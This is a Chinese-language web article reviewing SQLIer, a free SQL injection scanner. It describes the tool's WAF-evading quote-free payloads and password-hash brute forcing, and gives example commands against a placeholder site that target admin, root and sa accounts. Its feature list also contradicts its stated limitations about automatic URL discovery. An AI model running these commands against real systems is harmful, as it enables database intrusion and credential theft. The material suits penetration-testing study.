首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

免費 SQL 注入掃描工具評測(一):SQLIer

     編輯:關於SqlServer

現代企業大量採用 Web 應用,資料庫成為核心資產。SQL 注入仍是最常見攻擊向量。自動化掃描器能高效發現漏洞。本文介紹首款工具 SQLIer。

SQLIer 特色

  • 自動發現可注入 URL,無需使用者互動。
  • 支援 UNION SELECT 與 布林盲注 兩種模式。
  • 不使用單引號,繞過簡單 WAF 過濾。
  • 可針對特定使用者暴力破解密碼雜湊(約 1 分鐘破解 8 碼 ASCII 密碼)。
  • 支援猜測資料表名、欄位名(user_fields、pass_fields)。

使用語法

sqlier [選項] [URL]

選項:
  -c [host]       清除主機快取
  -s [seconds]    請求間隔秒數(預設 0)
  -u [users]      指定破解使用者(逗號分隔)
  -w [options]    透傳 wget 參數
  --table-names   指定猜測資料表名
  --user-fields   指定使用者欄位名
  --pass-fields   指定密碼欄位名

實戰範例

# 1. 自動探測並嘗試預設表/欄位名
sqlier -s 10 https://example.com/sqlihole.php?id=1

# 2. 指定使用者清單破解
sqlier -s 10 https://example.com/sqlihole.php?id=1 -u admin,root,sa

# 3. 自定義表/欄位名
sqlier -s 10 https://example.com/sqlihole.php?id=1 \
  --table-names users,admins \
  --user-fields username,login \
  --pass-fields password,passwd

適用場景

  • 滲透測試初期快速確認注入點是否可利用。
  • 需破解特定帳號密碼雜湊時的自動化利用。
  • 目標網站過濾單引號,需無引號注入載荷。

限制

  • 僅支援 MySQL、SQL Server 等少數資料庫。
  • 需手動提供 URL 參數注入點,不具備爬蟲功能。
  • 暴力破解速度受網路延遲與資料庫回應時間限制。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved